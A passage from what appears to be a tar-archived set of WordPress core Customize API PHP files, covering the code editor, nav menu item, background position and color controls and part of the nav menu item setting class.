			'widget_name' => $widget['name'],
		);

		$args                 = wp_list_widget_controls_dynamic_sidebar(
			array(
				0 => $args,
				1 => $widget['params'][0],
			)
		);
		$widget_control_parts = $this->manager->widgets->get_widget_control_parts( $args );

		$this->json['widget_control'] = $widget_control_parts['control'];
		$this->json['widget_content'] = $widget_control_parts['content'];
	}

	/**
	 * Override render_content to be no-op since content is exported via to_json for deferred embedding.
	 *
	 * @since 3.9.0
	 */
	public function render_content() {}

	/**
	 * Whether the current widget is rendered on the page.
	 *
	 * @since 4.0.0
	 *
	 * @return bool Whether the widget is rendered.
	 */
	public function active_callback() {
		return $this->manager->widgets->is_widget_rendered( $this->widget_id );
	}
}
class-wp-customize-code-editor-control.php000064400000004415151024210340014674 0ustar00<?php
/**
 * Customize API: WP_Customize_Code_Editor_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.9.0
 */

/**
 * Customize Code Editor Control class.
 *
 * @since 4.9.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Code_Editor_Control extends WP_Customize_Control {

	/**
	 * Customize control type.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $type = 'code_editor';

	/**
	 * Type of code that is being edited.
	 *
	 * @since 4.9.0
	 * @var string
	 */
	public $code_type = '';

	/**
	 * Code editor settings.
	 *
	 * @see wp_enqueue_code_editor()
	 * @since 4.9.0
	 * @var array|false
	 */
	public $editor_settings = array();

	/**
	 * Enqueue control related scripts/styles.
	 *
	 * @since 4.9.0
	 */
	public function enqueue() {
		$this->editor_settings = wp_enqueue_code_editor(
			array_merge(
				array(
					'type'       => $this->code_type,
					'codemirror' => array(
						'indentUnit' => 2,
						'tabSize'    => 2,
					),
				),
				$this->editor_settings
			)
		);
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 4.9.0
	 *
	 * @see WP_Customize_Control::json()
	 *
	 * @return array Array of parameters passed to the JavaScript.
	 */
	public function json() {
		$json                    = parent::json();
		$json['editor_settings'] = $this->editor_settings;
		$json['input_attrs']     = $this->input_attrs;
		return $json;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.9.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for control display.
	 *
	 * @since 4.9.0
	 */
	public function content_template() {
		?>
		<# var elementIdPrefix = 'el' + String( Math.random() ); #>
		<# if ( data.label ) { #>
			<label for="{{ elementIdPrefix }}_editor" class="customize-control-title">
				{{ data.label }}
			</label>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-notifications-container"></div>
		<textarea id="{{ elementIdPrefix }}_editor"
			<# _.each( _.extend( { 'class': 'code' }, data.input_attrs ), function( value, key ) { #>
				{{{ key }}}="{{ value }}"
			<# }); #>
			></textarea>
		<?php
	}
}
class-wp-customize-nav-menu-item-control.php000064400000017735151024210340015171 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Item_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize control to represent the name field for a given menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Nav_Menu_Item_Control extends WP_Customize_Control {

	/**
	 * Control type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = 'nav_menu_item';

	/**
	 * The nav menu item setting.
	 *
	 * @since 4.3.0
	 * @var WP_Customize_Nav_Menu_Item_Setting
	 */
	public $setting;

	/**
	 * Constructor.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      The control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Don't render the control's content - it's rendered with a JS template.
	 *
	 * @since 4.3.0
	 */
	public function render_content() {}

	/**
	 * JS/Underscore template for the control UI.
	 *
	 * @since 4.3.0
	 */
	public function content_template() {
		?>
		<div class="menu-item-bar">
			<div class="menu-item-handle">
				<span class="item-type" aria-hidden="true">{{ data.item_type_label }}</span>
				<span class="item-title" aria-hidden="true">
					<span class="spinner"></span>
					<span class="menu-item-title<# if ( ! data.title && ! data.original_title ) { #> no-title<# } #>">{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}</span>
					<# if ( 0 === data.depth ) { #>
						<span class="is-submenu" style="display: none;"><?php _e( 'sub item' ); ?></span>
					<# } else { #>
						<span class="is-submenu"><?php _e( 'sub item' ); ?></span>
					<# } #>
				</span>
				<span class="item-controls">
					<button type="button" class="button-link item-edit" aria-expanded="false"><span class="screen-reader-text">
					<# if ( 0 === data.depth ) { #>
						<?php
						/* translators: 1: Title of a menu item, 2: Type of a menu item. 3: Item index, 4: Total items. */
						printf( __( 'Edit %1$s (%2$s, %3$d of %4$d)' ), '{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}', '', '' );
						?>
					<# } else if ( 1 === data.depth ) { #>
						<?php
							/* translators: 1: Title of a menu item, 2: Type of a menu item, 3, Item index, 4, Total items, 5: Item parent. */
							printf( __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s)' ), '{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}', '', '', '' );
						?>
					<# } else { #>
						<?php
							/* translators: 1: Title of a menu item, 2: Type of a menu item, 3, Item index, 4, Total items, 5: Item parent, 6: Item depth. */
							printf( __( 'Edit %1$s (%2$s, sub-item %3$d of %4$d under %5$s, level %6$s)' ), '{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}', '', '', '', '{{data.depth}}' );
						?>
					<# } #>
					</span><span class="toggle-indicator" aria-hidden="true"></span></button>
					<button type="button" class="button-link item-delete submitdelete deletion"><span class="screen-reader-text">
					<?php
						/* translators: 1: Title of a menu item, 2: Type of a menu item. */
						printf( __( 'Remove Menu Item: %1$s (%2$s)' ), '{{ data.title || data.original_title || wp.customize.Menus.data.l10n.untitled }}', '{{ data.item_type_label }}' );
					?>
					</span></button>
				</span>
			</div>
		</div>

		<div class="menu-item-settings" id="menu-item-settings-{{ data.menu_item_id }}">
			<# if ( 'custom' === data.item_type ) { #>
			<p class="field-url description description-thin">
				<label for="edit-menu-item-url-{{ data.menu_item_id }}">
					<?php _e( 'URL' ); ?><br />
					<input class="widefat code edit-menu-item-url" type="text" id="edit-menu-item-url-{{ data.menu_item_id }}" name="menu-item-url" />
				</label>
			</p>
		<# } #>
			<p class="description description-thin">
				<label for="edit-menu-item-title-{{ data.menu_item_id }}">
					<?php _e( 'Navigation Label' ); ?><br />
					<input type="text" id="edit-menu-item-title-{{ data.menu_item_id }}" placeholder="{{ data.original_title }}" class="widefat edit-menu-item-title" name="menu-item-title" />
				</label>
			</p>
			<p class="field-link-target description description-thin">
				<label for="edit-menu-item-target-{{ data.menu_item_id }}">
					<input type="checkbox" id="edit-menu-item-target-{{ data.menu_item_id }}" class="edit-menu-item-target" value="_blank" name="menu-item-target" />
					<?php _e( 'Open link in a new tab' ); ?>
				</label>
			</p>
			<p class="field-title-attribute field-attr-title description description-thin">
				<label for="edit-menu-item-attr-title-{{ data.menu_item_id }}">
					<?php _e( 'Title Attribute' ); ?><br />
					<input type="text" id="edit-menu-item-attr-title-{{ data.menu_item_id }}" class="widefat edit-menu-item-attr-title" name="menu-item-attr-title" />
				</label>
			</p>
			<p class="field-css-classes description description-thin">
				<label for="edit-menu-item-classes-{{ data.menu_item_id }}">
					<?php _e( 'CSS Classes' ); ?><br />
					<input type="text" id="edit-menu-item-classes-{{ data.menu_item_id }}" class="widefat code edit-menu-item-classes" name="menu-item-classes" />
				</label>
			</p>
			<p class="field-xfn description description-thin">
				<label for="edit-menu-item-xfn-{{ data.menu_item_id }}">
					<?php _e( 'Link Relationship (XFN)' ); ?><br />
					<input type="text" id="edit-menu-item-xfn-{{ data.menu_item_id }}" class="widefat code edit-menu-item-xfn" name="menu-item-xfn" />
				</label>
			</p>
			<p class="field-description description description-thin">
				<label for="edit-menu-item-description-{{ data.menu_item_id }}">
					<?php _e( 'Description' ); ?><br />
					<textarea id="edit-menu-item-description-{{ data.menu_item_id }}" class="widefat edit-menu-item-description" rows="3" cols="20" name="menu-item-description">{{ data.description }}</textarea>
					<span class="description"><?php _e( 'The description will be displayed in the menu if the active theme supports it.' ); ?></span>
				</label>
			</p>

			<?php
			/**
			 * Fires at the end of the form field template for nav menu items in the customizer.
			 *
			 * Additional fields can be rendered here and managed in JavaScript.
			 *
			 * @since 5.4.0
			 */
			do_action( 'wp_nav_menu_item_custom_fields_customize_template' );
			?>

			<div class="menu-item-actions description-thin submitbox">
				<# if ( ( 'post_type' === data.item_type || 'taxonomy' === data.item_type ) && '' !== data.original_title ) { #>
				<p class="link-to-original">
					<?php
						/* translators: Nav menu item original title. %s: Original title. */
						printf( __( 'Original: %s' ), '<a class="original-link" href="{{ data.url }}">{{ data.original_title }}</a>' );
					?>
				</p>
				<# } #>

				<button type="button" class="button-link button-link-delete item-delete submitdelete deletion"><?php _e( 'Remove' ); ?></button>
				<span class="spinner"></span>
			</div>
			<input type="hidden" name="menu-item-db-id[{{ data.menu_item_id }}]" class="menu-item-data-db-id" value="{{ data.menu_item_id }}" />
			<input type="hidden" name="menu-item-parent-id[{{ data.menu_item_id }}]" class="menu-item-data-parent-id" value="{{ data.parent }}" />
		</div><!-- .menu-item-settings-->
		<ul class="menu-item-transport"></ul>
		<?php
	}

	/**
	 * Return parameters for this control.
	 *
	 * @since 4.3.0
	 *
	 * @return array Exported parameters.
	 */
	public function json() {
		$exported                 = parent::json();
		$exported['menu_item_id'] = $this->setting->post_id;

		return $exported;
	}
}
class-wp-customize-background-position-control.php000064400000005730151024210340016460 0ustar00<?php
/**
 * Customize API: WP_Customize_Background_Position_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.7.0
 */

/**
 * Customize Background Position Control class.
 *
 * @since 4.7.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Background_Position_Control extends WP_Customize_Control {

	/**
	 * Type.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $type = 'background_position';

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 4.7.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the position control.
	 *
	 * @since 4.7.0
	 */
	public function content_template() {
		$options = array(
			array(
				'left top'   => array(
					'label' => __( 'Top Left' ),
					'icon'  => 'dashicons dashicons-arrow-left-alt',
				),
				'center top' => array(
					'label' => __( 'Top' ),
					'icon'  => 'dashicons dashicons-arrow-up-alt',
				),
				'right top'  => array(
					'label' => __( 'Top Right' ),
					'icon'  => 'dashicons dashicons-arrow-right-alt',
				),
			),
			array(
				'left center'   => array(
					'label' => __( 'Left' ),
					'icon'  => 'dashicons dashicons-arrow-left-alt',
				),
				'center center' => array(
					'label' => __( 'Center' ),
					'icon'  => 'background-position-center-icon',
				),
				'right center'  => array(
					'label' => __( 'Right' ),
					'icon'  => 'dashicons dashicons-arrow-right-alt',
				),
			),
			array(
				'left bottom'   => array(
					'label' => __( 'Bottom Left' ),
					'icon'  => 'dashicons dashicons-arrow-left-alt',
				),
				'center bottom' => array(
					'label' => __( 'Bottom' ),
					'icon'  => 'dashicons dashicons-arrow-down-alt',
				),
				'right bottom'  => array(
					'label' => __( 'Bottom Right' ),
					'icon'  => 'dashicons dashicons-arrow-right-alt',
				),
			),
		);
		?>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-content">
			<fieldset>
				<legend class="screen-reader-text"><span>
					<?php
					/* translators: Hidden accessibility text. */
					_e( 'Image Position' );
					?>
				</span></legend>
				<div class="background-position-control">
				<?php foreach ( $options as $group ) : ?>
					<div class="button-group">
					<?php foreach ( $group as $value => $input ) : ?>
						<label>
							<input class="ui-helper-hidden-accessible" name="background-position" type="radio" value="<?php echo esc_attr( $value ); ?>">
							<span class="button display-options position"><span class="<?php echo esc_attr( $input['icon'] ); ?>" aria-hidden="true"></span></span>
							<span class="screen-reader-text"><?php echo $input['label']; ?></span>
						</label>
					<?php endforeach; ?>
					</div>
				<?php endforeach; ?>
				</div>
			</fieldset>
		</div>
		<?php
	}
}
class-wp-customize-color-control.php000064400000005772151024210340013623 0ustar00<?php
/**
 * Customize API: WP_Customize_Color_Control class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Color Control class.
 *
 * @since 3.4.0
 *
 * @see WP_Customize_Control
 */
class WP_Customize_Color_Control extends WP_Customize_Control {
	/**
	 * Type.
	 *
	 * @var string
	 */
	public $type = 'color';

	/**
	 * Statuses.
	 *
	 * @var array
	 */
	public $statuses;

	/**
	 * Mode.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	public $mode = 'full';

	/**
	 * Constructor.
	 *
	 * @since 3.4.0
	 *
	 * @see WP_Customize_Control::__construct()
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      Control ID.
	 * @param array                $args    Optional. Arguments to override class property defaults.
	 *                                      See WP_Customize_Control::__construct() for information
	 *                                      on accepted arguments. Default empty array.
	 */
	public function __construct( $manager, $id, $args = array() ) {
		$this->statuses = array( '' => __( 'Default' ) );
		parent::__construct( $manager, $id, $args );
	}

	/**
	 * Enqueue scripts/styles for the color picker.
	 *
	 * @since 3.4.0
	 */
	public function enqueue() {
		wp_enqueue_script( 'wp-color-picker' );
		wp_enqueue_style( 'wp-color-picker' );
	}

	/**
	 * Refresh the parameters passed to the JavaScript via JSON.
	 *
	 * @since 3.4.0
	 * @uses WP_Customize_Control::to_json()
	 */
	public function to_json() {
		parent::to_json();
		$this->json['statuses']     = $this->statuses;
		$this->json['defaultValue'] = $this->setting->default;
		$this->json['mode']         = $this->mode;
	}

	/**
	 * Don't render the control content from PHP, as it's rendered via JS on load.
	 *
	 * @since 3.4.0
	 */
	public function render_content() {}

	/**
	 * Render a JS template for the content of the color picker control.
	 *
	 * @since 4.1.0
	 */
	public function content_template() {
		?>
		<# var defaultValue = '#RRGGBB', defaultValueAttr = '',
			isHueSlider = data.mode === 'hue';
		if ( data.defaultValue && _.isString( data.defaultValue ) && ! isHueSlider ) {
			if ( '#' !== data.defaultValue.substring( 0, 1 ) ) {
				defaultValue = '#' + data.defaultValue;
			} else {
				defaultValue = data.defaultValue;
			}
			defaultValueAttr = ' data-default-color=' + defaultValue; // Quotes added automatically.
		} #>
		<# if ( data.label ) { #>
			<span class="customize-control-title">{{{ data.label }}}</span>
		<# } #>
		<# if ( data.description ) { #>
			<span class="description customize-control-description">{{{ data.description }}}</span>
		<# } #>
		<div class="customize-control-content">
			<label><span class="screen-reader-text">{{{ data.label }}}</span>
			<# if ( isHueSlider ) { #>
				<input class="color-picker-hue" type="text" data-type="hue" />
			<# } else { #>
				<input class="color-picker-hex" type="text" maxlength="7" placeholder="{{ defaultValue }}" {{ defaultValueAttr }} />
			<# } #>
			</label>
		</div>
		<?php
	}
}
class-wp-customize-nav-menu-item-setting.php000064400000066335151024210340015166 0ustar00<?php
/**
 * Customize API: WP_Customize_Nav_Menu_Item_Setting class
 *
 * @package WordPress
 * @subpackage Customize
 * @since 4.4.0
 */

/**
 * Customize Setting to represent a nav_menu.
 *
 * Subclass of WP_Customize_Setting to represent a nav_menu taxonomy term, and
 * the IDs for the nav_menu_items associated with the nav menu.
 *
 * @since 4.3.0
 *
 * @see WP_Customize_Setting
 */
class WP_Customize_Nav_Menu_Item_Setting extends WP_Customize_Setting {

	const ID_PATTERN = '/^nav_menu_item\[(?P<id>-?\d+)\]$/';

	const POST_TYPE = 'nav_menu_item';

	const TYPE = 'nav_menu_item';

	/**
	 * Setting type.
	 *
	 * @since 4.3.0
	 * @var string
	 */
	public $type = self::TYPE;

	/**
	 * Default setting value.
	 *
	 * @since 4.3.0
	 * @var array
	 *
	 * @see wp_setup_nav_menu_item()
	 */
	public $default = array(
		// The $menu_item_data for wp_update_nav_menu_item().
		'object_id'        => 0,
		'object'           => '', // Taxonomy name.
		'menu_item_parent' => 0, // A.K.A. menu-item-parent-id; note that post_parent is different, and not included.
		'position'         => 0, // A.K.A. menu_order.
		'type'             => 'custom', // Note that type_label is not included here.
		'title'            => '',
		'url'              => '',
		'target'           => '',
		'attr_title'       => '',
		'description'      => '',
		'classes'          => '',
		'xfn'              => '',
		'status'           => 'publish',
		'nav_menu_term_id' => 0, // This will be supplied as the $menu_id arg for wp_update_nav_menu_item().
		'_invalid'         => false,
	);

	/**
	 * Default transport.
	 *
	 * @since 4.3.0
	 * @since 4.5.0 Default changed to 'refresh'
	 * @var string
	 */
	public $transport = 'refresh';

	/**
	 * The post ID represented by this setting instance. This is the db_id.
	 *
	 * A negative value represents a placeholder ID for a new menu not yet saved.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $post_id;

	/**
	 * Storage of pre-setup menu item to prevent wasted calls to wp_setup_nav_menu_item().
	 *
	 * @since 4.3.0
	 * @var array|null
	 */
	protected $value;

	/**
	 * Previous (placeholder) post ID used before creating a new menu item.
	 *
	 * This value will be exported to JS via the customize_save_response filter
	 * so that JavaScript can update the settings to refer to the newly-assigned
	 * post ID. This value is always negative to indicate it does not refer to
	 * a real post.
	 *
	 * @since 4.3.0
	 * @var int
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $previous_post_id;

	/**
	 * When previewing or updating a menu item, this stores the previous nav_menu_term_id
	 * which ensures that we can apply the proper filters.
	 *
	 * @since 4.3.0
	 * @var int
	 */
	public $original_nav_menu_term_id;

	/**
	 * Whether or not update() was called.
	 *
	 * @since 4.3.0
	 * @var bool
	 */
	protected $is_updated = false;

	/**
	 * Status for calling the update method, used in customize_save_response filter.
	 *
	 * See {@see 'customize_save_response'}.
	 *
	 * When status is inserted, the placeholder post ID is stored in $previous_post_id.
	 * When status is error, the error is stored in $update_error.
	 *
	 * @since 4.3.0
	 * @var string updated|inserted|deleted|error
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $update_status;

	/**
	 * Any error object returned by wp_update_nav_menu_item() when setting is updated.
	 *
	 * @since 4.3.0
	 * @var WP_Error
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::update()
	 * @see WP_Customize_Nav_Menu_Item_Setting::amend_customize_save_response()
	 */
	public $update_error;

	/**
	 * Constructor.
	 *
	 * Any supplied $args override class property defaults.
	 *
	 * @since 4.3.0
	 *
	 * @throws Exception If $id is not valid for this setting type.
	 *
	 * @param WP_Customize_Manager $manager Customizer bootstrap instance.
	 * @param string               $id      A specific ID of the setting.
	 *                                      Can be a theme mod or option name.
	 * @param array                $args    Optional. Setting arguments.
	 */
	public function __construct( WP_Customize_Manager $manager, $id, array $args = array() ) {
		if ( empty( $manager->nav_menus ) ) {
			throw new Exception( 'Expected WP_Customize_Manager::$nav_menus to be set.' );
		}

		if ( ! preg_match( self::ID_PATTERN, $id, $matches ) ) {
			throw new Exception( "Illegal widget setting ID: $id" );
		}

		$this->post_id = (int) $matches['id'];
		add_action( 'wp_update_nav_menu_item', array( $this, 'flush_cached_value' ), 10, 2 );

		parent::__construct( $manager, $id, $args );

		// Ensure that an initially-supplied value is valid.
		if ( isset( $this->value ) ) {
			$this->populate_value();
			foreach ( array_diff( array_keys( $this->default ), array_keys( $this->value ) ) as $missing ) {
				throw new Exception( "Supplied nav_menu_item value missing property: $missing" );
			}
		}
	}

	/**
	 * Clear the cached value when this nav menu item is updated.
	 *
	 * @since 4.3.0
	 *
	 * @param int $menu_id       The term ID for the menu.
	 * @param int $menu_item_id  The post ID for the menu item.
	 */
	public function flush_cached_value( $menu_id, $menu_item_id ) {
		unset( $menu_id );
		if ( $menu_item_id === $this->post_id ) {
			$this->value = null;
		}
	}

	/**
	 * Get the instance data for a given nav_menu_item setting.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_setup_nav_menu_item()
	 *
	 * @return array|false Instance data array, or false if the item is marked for deletion.
	 */
	public function value() {
		$type_label = null;
		if ( $this->is_previewed && get_current_blog_id() === $this->_previewed_blog_id ) {
			$undefined  = new stdClass(); // Symbol.
			$post_value = $this->post_value( $undefined );

			if ( $undefined === $post_value ) {
				$value = $this->_original_value;
			} else {
				$value = $post_value;
			}
		} elseif ( isset( $this->value ) ) {
			$value = $this->value;
		} else {
			$value = false;

			// Note that an ID of less than one indicates a nav_menu not yet inserted.
			if ( $this->post_id > 0 ) {
				$post = get_post( $this->post_id );
				if ( $post && self::POST_TYPE === $post->post_type ) {
					$is_title_empty = empty( $post->post_title );
					$value          = (array) wp_setup_nav_menu_item( $post );
					if ( isset( $value['type_label'] ) ) {
						$type_label = $value['type_label'];
					}
					if ( $is_title_empty ) {
						$value['title'] = '';
					}
				}
			}

			if ( ! is_array( $value ) ) {
				$value = $this->default;
			}

			// Cache the value for future calls to avoid having to re-call wp_setup_nav_menu_item().
			$this->value = $value;
			$this->populate_value();
			$value = $this->value;
		}

		// These properties are read-only and are part of the setting for use in the Customizer UI.
		if ( is_array( $value ) ) {
			$value_obj               = (object) $value;
			$value['type_label']     = isset( $type_label ) ? $type_label : $this->get_type_label( $value_obj );
			$value['original_title'] = $this->get_original_title( $value_obj );
		}

		return $value;
	}

	/**
	 * Prepares the value for editing on the client.
	 *
	 * @since 6.8.3
	 *
	 * @return array|false Value prepared for the client.
	 */
	public function js_value() {
		$value = parent::js_value();
		if ( is_array( $value ) && isset( $value['original_title'] ) ) {
			// Decode entities for the sake of displaying the original title as a placeholder.
			$value['original_title'] = html_entity_decode( $value['original_title'], ENT_QUOTES, get_bloginfo( 'charset' ) );
		}
		return $value;
	}

	/**
	 * Get original title.
	 *
	 * @since 4.7.0
	 *
	 * @param object $item Nav menu item.
	 * @return string The original title, without entity decoding.
	 */
	protected function get_original_title( $item ) {
		$original_title = '';
		if ( 'post_type' === $item->type && ! empty( $item->object_id ) ) {
			$original_object = get_post( $item->object_id );
			if ( $original_object ) {
				/** This filter is documented in wp-includes/post-template.php */
				$original_title = apply_filters( 'the_title', $original_object->post_title, $original_object->ID );

				if ( '' === $original_title ) {
					/* translators: %d: ID of a post. */
					$original_title = sprintf( __( '#%d (no title)' ), $original_object->ID );
				}
			}
		} elseif ( 'taxonomy' === $item->type && ! empty( $item->object_id ) ) {
			$original_term_title = get_term_field( 'name', $item->object_id, $item->object, 'raw' );
			if ( ! is_wp_error( $original_term_title ) ) {
				$original_title = $original_term_title;
			}
		} elseif ( 'post_type_archive' === $item->type ) {
			$original_object = get_post_type_object( $item->object );
			if ( $original_object ) {
				$original_title = $original_object->labels->archives;
			}
		}
		return $original_title;
	}

	/**
	 * Get type label.
	 *
	 * @since 4.7.0
	 *
	 * @param object $item Nav menu item.
	 * @return string The type label.
	 */
	protected function get_type_label( $item ) {
		if ( 'post_type' === $item->type ) {
			$object = get_post_type_object( $item->object );
			if ( $object ) {
				$type_label = $object->labels->singular_name;
			} else {
				$type_label = $item->object;
			}
		} elseif ( 'taxonomy' === $item->type ) {
			$object = get_taxonomy( $item->object );
			if ( $object ) {
				$type_label = $object->labels->singular_name;
			} else {
				$type_label = $item->object;
			}
		} elseif ( 'post_type_archive' === $item->type ) {
			$type_label = __( 'Post Type Archive' );
		} else {
			$type_label = __( 'Custom Link' );
		}
		return $type_label;
	}

	/**
	 * Ensure that the value is fully populated with the necessary properties.
	 *
	 * Translates some properties added by wp_setup_nav_menu_item() and removes others.
	 *
	 * @since 4.3.0
	 *
	 * @see WP_Customize_Nav_Menu_Item_Setting::value()
	 */
	protected function populate_value() {
		if ( ! is_array( $this->value ) ) {
			return;
		}

		if ( isset( $this->value['menu_order'] ) ) {
			$this->value['position'] = $this->value['menu_order'];
			unset( $this->value['menu_order'] );
		}
		if ( isset( $this->value['post_status'] ) ) {
			$this->value['status'] = $this->value['post_status'];
			unset( $this->value['post_status'] );
		}

		if ( ! isset( $this->value['nav_menu_term_id'] ) && $this->post_id > 0 ) {
			$menus = wp_get_post_terms(
				$this->post_id,
				WP_Customize_Nav_Menu_Setting::TAXONOMY,
				array(
					'fields' => 'ids',
				)
			);
			if ( ! empty( $menus ) ) {
				$this->value['nav_menu_term_id'] = array_shift( $menus );
			} else {
				$this->value['nav_menu_term_id'] = 0;
			}
		}

		foreach ( array( 'object_id', 'menu_item_parent', 'nav_menu_term_id' ) as $key ) {
			if ( ! is_int( $this->value[ $key ] ) ) {
				$this->value[ $key ] = (int) $this->value[ $key ];
			}
		}
		foreach ( array( 'classes', 'xfn' ) as $key ) {
			if ( is_array( $this->value[ $key ] ) ) {
				$this->value[ $key ] = implode( ' ', $this->value[ $key ] );
			}
		}

		if ( ! isset( $this->value['title'] ) ) {
			$this->value['title'] = '';
		}

		if ( ! isset( $this->value['_invalid'] ) ) {
			$this->value['_invalid'] = false;
			$is_known_invalid        = (
				( ( 'post_type' === $this->value['type'] || 'post_type_archive' === $this->value['type'] ) && ! post_type_exists( $this->value['object'] ) )
				||
				( 'taxonomy' === $this->value['type'] && ! taxonomy_exists( $this->value['object'] ) )
			);
			if ( $is_known_invalid ) {
				$this->value['_invalid'] = true;
			}
		}

		// Remove remaining properties available on a setup nav_menu_item post object which aren't relevant to the setting value.
		$irrelevant_properties = array(
			'ID',
			'comment_count',
			'comment_status',
			'db_id',
			'filter',
			'guid',
			'ping_status',
			'pinged',
			'post_author',
			'post_content',
			'post_content_filtered',
			'post_date',
			'post_date_gmt',
			'post_excerpt',
			'post_mime_type',
			'post_modified',
			'post_modified_gmt',
			'post_name',
			'post_parent',
			'post_password',
			'post_title',
			'post_type',
			'to_ping',
		);
		foreach ( $irrelevant_properties as $property ) {
			unset( $this->value[ $property ] );
		}
	}

	/**
	 * Handle previewing the setting.
	 *
	 * @since 4.3.0
	 * @since 4.4.0 Added boolean return value.
	 *
	 * @see WP_Customize_Manager::post_value()
	 *
	 * @return bool False if method short-circuited due to no-op.
	 */
	public function preview() {
		if ( $this->is_previewed ) {
			return false;
		}

		$undefined      = new stdClass();
		$is_placeholder = ( $this->post_id < 0 );
		$is_dirty       = ( $undefined !== $this->post_value( $undefined ) );
		if ( ! $is_placeholder && ! $is_dirty ) {
			return false;
		}

		$this->is_previewed              = true;
		$this->_original_value           = $this->value();
		$this->original_nav_menu_term_id = $this->_original_value['nav_menu_term_id'];
		$this->_previewed_blog_id        = get_current_blog_id();

		add_filter( 'wp_get_nav_menu_items', array( $this, 'filter_wp_get_nav_menu_items' ), 10, 3 );

		$sort_callback = array( __CLASS__, 'sort_wp_get_nav_menu_items' );
		if ( ! has_filter( 'wp_get_nav_menu_items', $sort_callback ) ) {
			add_filter( 'wp_get_nav_menu_items', array( __CLASS__, 'sort_wp_get_nav_menu_items' ), 1000, 3 );
		}

		// @todo Add get_post_metadata filters for plugins to add their data.

		return true;
	}

	/**
	 * Filters the wp_get_nav_menu_items() result to supply the previewed menu items.
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_items()
	 *
	 * @param WP_Post[] $items An array of menu item post objects.
	 * @param WP_Term   $menu  The menu object.
	 * @param array     $args  An array of arguments used to retrieve menu item objects.
	 * @return WP_Post[] Array of menu item objects.
	 */
	public function filter_wp_get_nav_menu_items( $items, $menu, $args ) {
		$this_item                = $this->value();
		$current_nav_menu_term_id = null;
		if ( isset( $this_item['nav_menu_term_id'] ) ) {
			$current_nav_menu_term_id = $this_item['nav_menu_term_id'];
			unset( $this_item['nav_menu_term_id'] );
		}

		$should_filter = (
			$menu->term_id === $this->original_nav_menu_term_id
			||
			$menu->term_id === $current_nav_menu_term_id
		);
		if ( ! $should_filter ) {
			return $items;
		}

		// Handle deleted menu item, or menu item moved to another menu.
		$should_remove = (
			false === $this_item
			||
			( isset( $this_item['_invalid'] ) && true === $this_item['_invalid'] )
			||
			(
				$this->original_nav_menu_term_id === $menu->term_id
				&&
				$current_nav_menu_term_id !== $this->original_nav_menu_term_id
			)
		);
		if ( $should_remove ) {
			$filtered_items = array();
			foreach ( $items as $item ) {
				if ( $item->db_id !== $this->post_id ) {
					$filtered_items[] = $item;
				}
			}
			return $filtered_items;
		}

		$mutated       = false;
		$should_update = (
			is_array( $this_item )
			&&
			$current_nav_menu_term_id === $menu->term_id
		);
		if ( $should_update ) {
			foreach ( $items as $item ) {
				if ( $item->db_id === $this->post_id ) {
					foreach ( get_object_vars( $this->value_as_wp_post_nav_menu_item() ) as $key => $value ) {
						$item->$key = $value;
					}
					$mutated = true;
				}
			}

			// Not found so we have to append it..
			if ( ! $mutated ) {
				$items[] = $this->value_as_wp_post_nav_menu_item();
			}
		}

		return $items;
	}

	/**
	 * Re-apply the tail logic also applied on $items by wp_get_nav_menu_items().
	 *
	 * @since 4.3.0
	 *
	 * @see wp_get_nav_menu_items()
	 *
	 * @param WP_Post[] $items An array of menu item post objects.
	 * @param WP_Term   $menu  The menu object.
	 * @param array     $args  An array of arguments used to retrieve menu item objects.
	 * @return WP_Post[] Array of menu item objects.
	 */
	public static function sort_wp_get_nav_menu_items( $items, $menu, $args ) {
		// @todo We should probably re-apply some constraints imposed by $args.
		unset( $args['include'] );

		// Remove invalid items only in front end.
		if ( ! is_admin() ) {
